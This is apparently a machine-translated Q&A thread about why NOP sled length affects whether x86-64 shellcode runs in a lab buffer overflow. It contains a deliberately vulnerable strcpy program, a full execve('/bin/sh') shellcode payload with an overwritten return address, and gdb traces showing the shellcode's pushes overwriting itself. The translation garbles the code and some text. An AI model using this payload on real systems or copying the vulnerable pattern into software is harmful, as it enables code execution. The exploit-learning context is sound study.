Linux 为什么NOP的数量似乎会影响外壳代码是否成功执行?

Linux 为什么NOP的数量似乎会影响外壳代码是否成功执行?,linux,assembly,x86-64,buffer-overflow,shellcode,Linux,Assembly,X86 64,Buffer Overflow,Shellcode,我正在学习缓冲区溢出(仅用于教育目的),在使用NOP滑动技术执行外壳代码时,出现了一些问题,比如为什么外壳代码有时不执行 我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0,禁用ASLR) #包括 #包括 void函数(char*args) { 字符buff[64]; printf(“%p\n”,浅黄色); strcpy(buff,args); } int main(int argc,char*argv[]) { 函数(argv[1]); } 如下所

我正在学习缓冲区溢出(仅用于教育目的),在使用NOP滑动技术执行外壳代码时,出现了一些问题,比如为什么外壳代码有时不执行

我编译了以下代码(使用Ubuntu 18.04.1 LTS(x86_64),gcc 7.3.0,禁用ASLR)

#包括
#包括
void函数(char*args)
{
字符buff[64];
printf(“%p\n”,浅黄色);
strcpy(buff,args);
}
int main(int argc,char*argv[])
{
函数(argv[1]);
}
如下所示:
gcc-g-o main.c-fno stack protector-z execstack
。 然后我调用了
gdb main
b9
,以及

run `perl -e '{ print "\x90"x15; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x8; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'`
上面的字符串由
NOPs+外壳代码+NOPs+字节组成,用于覆盖保存的帧指针+字节,用于覆盖返回地址。我根据
printf
行的输出选择了返回地址。(注意:明确地说,上面的hexcode在x86_x64中打开了一个shell)

从以下输出可以看出,缓冲区按预期溢出

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x48
0x7fffffffd8c0: 0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2    0x48
0x7fffffffd8c8: 0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68
0x7fffffffd8d0: 0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1    0xeb
0x7fffffffd8d8: 0x08    0x53    0x48    0x89    0xe7    0x4d    0x31    0xd2
0x7fffffffd8e0: 0x41    0x52    0x57    0x48    0x89    0xe6    0x0f    0x05
0x7fffffffd8e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
从这里继续确实打开了外壳。但是,当我将以下内容用作参数时(唯一的区别是我将
\x90”x15
替换为
\x90”x16
,将
\x90”x8
替换为
\x90”x7

我明白了

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8c0: 0x48    0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2
0x7fffffffd8c8: 0x48    0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x7fffffffd8d0: 0x68    0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1
0x7fffffffd8d8: 0xeb    0x08    0x53    0x48    0x89    0xe7    0x4d    0x31
0x7fffffffd8e0: 0xd2    0x41    0x52    0x57    0x48    0x89    0xe6    0x0f
0x7fffffffd8e8: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
这对我来说很好(和上面一样,只是反映了论点中的变化),但是当我继续这一次时,我得到了

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
而且没有打开外壳

  • 非法指令发生在第二个NOP块中。炮台位于NOP区块之前。返回地址似乎已被成功覆盖,为什么不执行外壳代码
  • 为什么第一个示例有效,而第二个则无效,唯一的区别是一个NOP在外壳代码之前被删除,并在外壳代码之后插入

编辑: 我添加了外壳代码的反汇编:

0000000000400078 <_start>:
  400078:   48 31 c0                xor    %rax,%rax
  40007b:   b0 3b                   mov    $0x3b,%al
  40007d:   48 31 d2                xor    %rdx,%rdx
  400080:   48 bb 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rbx
  400087:   73 68 11 
  40008a:   48 c1 e3 08             shl    $0x8,%rbx
  40008e:   48 c1 eb 08             shr    $0x8,%rbx
  400092:   53                      push   %rbx
  400093:   48 89 e7                mov    %rsp,%rdi
  400096:   4d 31 d2                xor    %r10,%r10
  400099:   41 52                   push   %r10
  40009b:   57                      push   %rdi
  40009c:   48 89 e6                mov    %rsp,%rsi
  40009f:   0f 05                   syscall
0000000000 400078:
400078:48 31 c0异或%rax,%rax
40007b:b0 3b mov$0x3b,%al
40007d:48 31 d2异或%rdx,%rdx
400080:48 bb 2f 62 69 6e 2f movabs$0x1168732f6e69622f,%rbx
400087:   73 68 11 
40008a:48 c1 e3 08先令$0x8,%rbx
40008e:48 c1 eb 08 shr$0x8,%rbx
400092:53%rbx推送
400093:48 89 e7 mov%rsp,%rdi
400096:4d 31 d2异或%r10,%r10
400099:41 52推力%r10
40009b:57%推送rdi
40009c:4889E6MOV%rsp%rsi
40009f:0f 05系统调用

Jester猜测外壳代码的
推送
操作覆盖了外壳代码远端关于第二个示例的指令是正确的:

在接收到
SIGILL
后,通过设置
set discompose next line on
并重复第二个示例来检查当前指令

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea:  ff  (bad)
先前位于此地址的NOP(
90
)已被
ff
覆盖

这是怎么发生的?再次重复第二个示例,并另外设置
b8
。此时,缓冲区尚未溢出

(gdb) info frame 0
[...]
Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8
0x7fffffffd8f8开始的字节包含离开
函数后返回的地址。然后,这个
0x7fffffffd8f8
地址也将是堆栈继续再次增长的地址(在那里,将存储前8个字节)。实际上,继续使用gdb并使用
si
命令表明,在外壳代码的第一条
push
指令之前,堆栈指针指向
0x7fffffd900

(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da:  53      push   %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8    0xd9    0xff    0xff    0xff    0x7f    0x00    0x00 
。。。执行
push
指令时,字节存储在地址
0x7fffffffd8f8

(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db:  48 89 e7        mov    %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x00
继续此操作,可以看到在外壳代码的最后一个
push
指令之后,
push
的内容被推送到堆栈的地址
0x7fffffffd8e8

0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

但是,这也是存储
syscall
指令的最后一个字节的位置(参见问题中的
x/80bx buff
输出,了解第二个示例)。因此,无法成功执行系统调用和外壳代码。这在第一个示例中没有发生,因为推送到堆栈上的字节会向右增长,直到外壳代码结束(不覆盖外壳代码的一个字节):8个NOP的8个字节(
“\x90”x8
)+8字节用于保存的基本指针+8字节用于返回地址,为3
推送操作提供了足够的空间。

我没有分解外壳代码正在执行的操作,但它显然会覆盖自身。这是我能想到的唯一一种方法,用以前是
NOP
的代码得到
SIGILL
。当由于信号而停止时,重新检查当前指令。您可能会发现它不再是
NOP
。反向工作以找出是什么覆盖了它。我添加了反汇编。谢谢你的建议,我将研究gdb如何做到这一点。为什么这个问题被否决了?它使用了两个
推送
指令。由于您的代码在堆栈上,它很可能会覆盖自身。正如我所说,在信号到达后检查错误指令,看看它是否被覆盖。@Jester谢谢,你是对的!我将根据您的提示发布我的调查结果作为答案。GDB具有显示反汇编“窗口”的
layout asm
layout reg
TUI模式。有时你需要点击control-L在它不同步时重新绘制,但是这对于查看你单步完成的asm来说是非常好的。(有关GDB提示,请参见的底部。)IDK如何处理自修改代码(acciden
0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00